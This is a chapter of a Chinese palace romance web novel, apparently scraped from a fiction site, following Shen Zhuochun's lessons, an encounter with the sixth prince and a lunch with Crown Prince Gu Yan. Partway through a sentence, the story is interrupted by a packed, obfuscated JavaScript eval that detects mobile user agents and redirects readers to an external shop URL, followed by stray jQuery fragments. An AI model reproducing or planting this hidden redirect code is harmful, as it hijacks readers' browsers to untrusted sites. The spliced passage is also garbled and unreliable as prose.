文趣网 > 都市小说 > 月名昭昭 > 4. 樱桃煎
    第二日入宫,沈濯春带了容婳绣的一方帕子,预备送给顾景宁。

    陆筱咬着包子,含糊不清地感叹:“夫人这手艺,昭昭你怎么半分也没有学到?”

    沈濯春将自己绣的那方与容婳的并在一处比了半晌,抬眸望向陆筱,语气里藏着些许希冀。

    “筱筱,其实我觉得……区别不大,你觉得呢?”

    陆筱忍着笑点头,安抚着拍拍沈濯春的发顶,“我们昭昭只是不擅长刺绣罢了,勤加练习一定可以绣的像夫人一样好看的。”

    沈濯春心知陆筱在哄自己,却还是将昨日新绣的帕子仔细收进荷包里,打算午膳时拿给顾晏瞧。

    转念一想,自己昨日才放话说再也不和顾晏一道用膳,不由气闷,从包中拿出一只玉雕小猫狠狠揉捏一番。

    这是昨日午膳后沈濯春气呼呼跑开时,顾晏随手往她怀里丢的。

    上好的暖玉就被顾晏这样漫不经心地丢过来,险些砸到沈濯春脑袋。

    顾晏瞧着沈濯春瞪大了眼睛伸手接住,轻笑一声,朝沈濯春摆摆手。

    “小鱼被小猫吃掉了。”

    “沈小姐。”

    “沈小姐?”夫子见沈濯春没有反应,又拔高了声调。

    沈濯春昨晚看话本看到三更,今早的时文课昏昏欲睡,闻言骤然惊醒,颤颤巍巍站起来。

    “沈小姐对我方才所问有何见解?”夫子笑得和蔼,但那笑容在沈濯春心里却莫名瘆人。

    陆筱在底下悄悄比划,想给沈濯春递答案。奈何夫子步步逼近直至站在沈濯春案前,彻底扼杀了陆筱的想法。

    陆筱仰起头与欲哭无泪的沈濯春四目相对。

    沈濯春:“怎么办。”

    陆筱:“第十页。”

    沈濯春:“算了。”

    顶着夫子的目光,沈濯春自觉地站到了屋外,权当醒神。

    已是初春,风里夹杂着初绽的花香。沈濯春本规规矩矩站在廊下,目光却不自觉被院中那树盛放的梅花吸引。

    她回头觑了眼窗内的夫子,便悄悄溜到那株梅花树下蹲下。昨晚的话本中说有一种方法可以让花永远保持在盛放的状态。

    她要挑出最好看的几朵,送给阿爹阿娘,还有筱筱,青鸢,翠枝……沈濯春在脑海里想了一堆人名。

    唔,再给顾晏那个烦人精一朵吧,本小姐大人有大量,不与他计较了。

    沈濯春拣了些完好的花,刚站起身,转身就看到身后立着一人。

    手中的花也因片刻愣神滑落到地上。

    面前这人身着明红劲装,腰间皮质蹀躞带叮当作响,悬挂着几柄精致的短刀,带着些少年气。

    顾溯方才面见完圣上正要出宫,但他许久未回来一时间有些迷路。顾溯向来随性,索性就在宫里慢悠悠地晃起来。

    此处梅花开得正盛,他原想寻个树下小憩片刻,不想却撞见了个蹲在地上捡花的姑娘。

    正想问她是哪家的女眷,就见那人恰好转过身来。

    是回宫那日偷看自己的那个人。

    说来有趣,就在这一瞬间,顾溯恍然觉得。

    京城或许比那塞北更有趣。

    沈濯春自然也认出了顾溯。那日偷窥的窘迫涌上心头,她一时尴尬至极,蹲下也不管花好不好看了,胡乱捧起一手花,朝顾溯微微欠身就打算离开。

    顾溯却未如她所愿,反而走进了些,抬起手想要触碰她的肩。

    沈濯春惊得退后两步,像只受惊的猫,眼睛都睁大了些。

    顾溯低笑,“你头上有桃花。”

    沈濯春晃晃脑袋,果然有一朵桃花悠悠飘落,坠落在脚边。

    “多谢。”沈濯春顿了顿,又补上一句,“六皇子。”

    顾溯看起来有些意外,俯身凑到沈濯春面前,“你认得我?”

    见沈濯春又要后退,几乎要踩进身后的泥里,顾溯很快直起身,语气随意:“叫我顾溯就行。”

    沈濯春远远望见夫子走下来巡视课业,顾不得多言,连忙提着裙摆小跑回廊下。

    顾溯俯身拾起沈濯春方才掉落的那朵桃花。纤细的花茎在指尖轻颤,淡淡的花香萦绕在鼻尖,像极了沈濯春身上的味道。

    顾溯瞧着沈濯春跑回廊下,捡起放到地上的书册,又规规矩矩站回夫子视线可及之处。

    不消片刻,夫子注意到还站在廊下的沈濯春,招手唤她进去。

    顾溯看着女孩转过身来脸上尚未褪尽的笑意,唇角竟也罕见地弯了弯。

    方才......还没问她叫什么。

    “沈濯春,定远侯嫡女。”顾晏蹙眉看向坐在东宫院中树上的顾溯,“你问这个作甚?”

    他这个六弟自幼不服管教,而沈濯春可是向来乖顺,想来两人不应该有交集才是。

    顾晏刚批阅完一道奏,顾溯就丢了个石子砸在案上。顾晏被打断了思路,刚要发作,就见顾溯几步腾跃,轻功上了树。

    “三哥,你可知公主伴读都有谁?”

    “不知。”顾晏懒得和顾溯纠缠,他还得赶紧处理完公务,好去陪沈濯春用膳。

    刚转过身,就听到顾溯带着几分遗憾说道:“她那铃铛声真好听。”

    顾晏脚步一顿。

    沈濯春怎么这么受欢迎?

    顾溯得到想要的答案后,施施然离去,独留顾晏在案前发呆,墨水滴到宣纸上,洇开一团浓墨,他才骤然回神。

    烦。

    “你烦什么呢?”

    沈濯春咬了一口茄鲞,眉间微蹙,她正要将剩下半块丢进顾晏碗中,抬眼就见顾晏心事重重的。

    顾晏面不改色,夹起沈濯春刚丢过来的茄鲞送入口中,摇摇头,“只是在想过几日马球赛。”

    “你也要参加吗?”沈濯春立刻凑近,一双杏眼亮晶晶看过来,“我听筱筱说圣上会给夺魁者赏赐一枚玉佩。”

    “你想要?”

    “那当然。”沈濯春往亭槛上一坐,捏了把鱼食洒进池中,“想来能被圣上赏赐的玉佩自然是极好的。”

    锦鲤嗅到饵料霎时间围拢过来,在水面上泛起一阵阵涟漪。沈濯春看得欢喜,转身想唤旁边的青鸢取些生肉来喂,却撞进顾晏的视线里。

    顾晏不知何时也放下了筷箸,正撑着额头望着她。

    “看我做什么?”

    顾晏起身,从袖子里取出沈濯春刚刚送给他的帕子,给她擦净手。末了,将一块梅花糕放入沈濯春掌心。

    “求我。”

    沈濯春刚把梅花糕塞进嘴里,闻言露出一个疑惑的表情。

    顾晏“喂”了一声,双手抱臂靠在柱子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836249|211433||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上,“你求我,我便帮你把那玉佩赢回来。”

    沈濯春咽下梅花糕,忽然伸手将油脂蹭在顾晏衣襟上。

    她早看出来了,顾晏今天穿了件崭新的月白常服,腰间坠着枚玉璜佩,此刻却沾染上些许油脂。

    沈濯春得逞后笑着跑开,却被顾晏伸手拉住衣领,力道不重,但沈濯春还是踉跄着退了半步。

    后背几乎贴上了顾晏的胸膛。

    沈濯春忿忿回头,顾晏俯下身来,阳光斜斜地洒进来,落在顾晏眼睫上。

    顾晏微微眯眼,拉着沈濯春背对着阳光。沈濯春堪堪到顾晏肩头,现下阳光被顾晏挡了大半,顾晏眼角那颗泪痣倒是愈发清晰。

    “干嘛。”沈濯春偏开脸,不和顾晏对视。

    “你不求我。”顾晏嗓音里带着几分欠揍的慵懒,“是想让谁帮你赢玉佩?”

    沈濯春听顾晏那语气狂妄得很,好像那玉佩已是他的囊中之物。

    “本小姐这么受欢迎,肯定有很多人愿意替我赢得奖品的。”沈濯春轻哼一声。

    “况且听说这回还有西域的使者来朝,传言他们个个都骁勇善战。”沈濯春说着,指尖在顾晏腰侧轻轻一挠。

    顾晏怕痒,身子微微动了几分。

    沈濯春趁机转了个圈,轻巧地脱离顾晏的掌控,手指勾着眼角朝顾晏吐了下舌尖,“顾砚初,你可要好好加油哦。”

    话音刚落,没等顾晏回答,沈濯春就提着裙摆小跑着去旁边找陆筱了。

    顾晏垂眸,捡起地上沈濯春方才跑走时遗落的一颗小铃铛,拿在指尖轻轻晃了晃。

    “叮铃”一声。

    “啧。”

    一旁的渡秋很没眼力见地凑上前来,询问道:“殿下,要属下去还给沈小姐吗?”

    顾晏将铃铛收入袖中,“不必。”

    “另外……”顾晏停顿了半天没说话,渡秋疑惑地抬起头。

    顾晏目光追着远处的那道杏色身影,声音像从喉间挤出来的,“去查查这次西域来的使者。”

    “有多骁勇善战。”

    “话本里面也能信?”陆筱接过沈濯春递过来的话本细细品读一番,“昭昭,这写的也太玄乎了。”

    沈濯春歪在贵妃榻上,捧着碗樱桃煎小口吃着,闻言坐起身,“他们可不止骁勇善战,还会炼制一种奇香。”

    陆筱闻言来了兴致,坐到沈濯春旁边也拈了颗樱桃煎丢进嘴里,“什么奇香?是极名贵的那种香料吗?”

    沈濯春神秘兮兮地摇摇头,“不止,据说这种香可以控制人的心智,叫人做出一些违心的事情。”

    “当真有这么邪门?”陆筱将信将疑,瞥了眼外面的天色,起身道:“我先回去了,昭昭。”

    沈濯春一把拉住陆筱,凑到陆筱耳边,“贺家老二明日从江南回来。”

    陆筱耳尖倏地一热,嘴上却道:“他回来与否与我有何干系。”

    沈濯春抿了口茶水冲淡了些唇齿间的甜腻,含笑道:“筱筱,你这话要是让二公子听见了,可是要伤心的。”

    “你们不是自幼就......私定终身了么。”

    陆筱闻言也没了回家的心思,悠悠然坐到了沈濯春方才坐着的位置。

    “昭昭,那要我帮你回忆一下,你小时候和顾晏干的事?”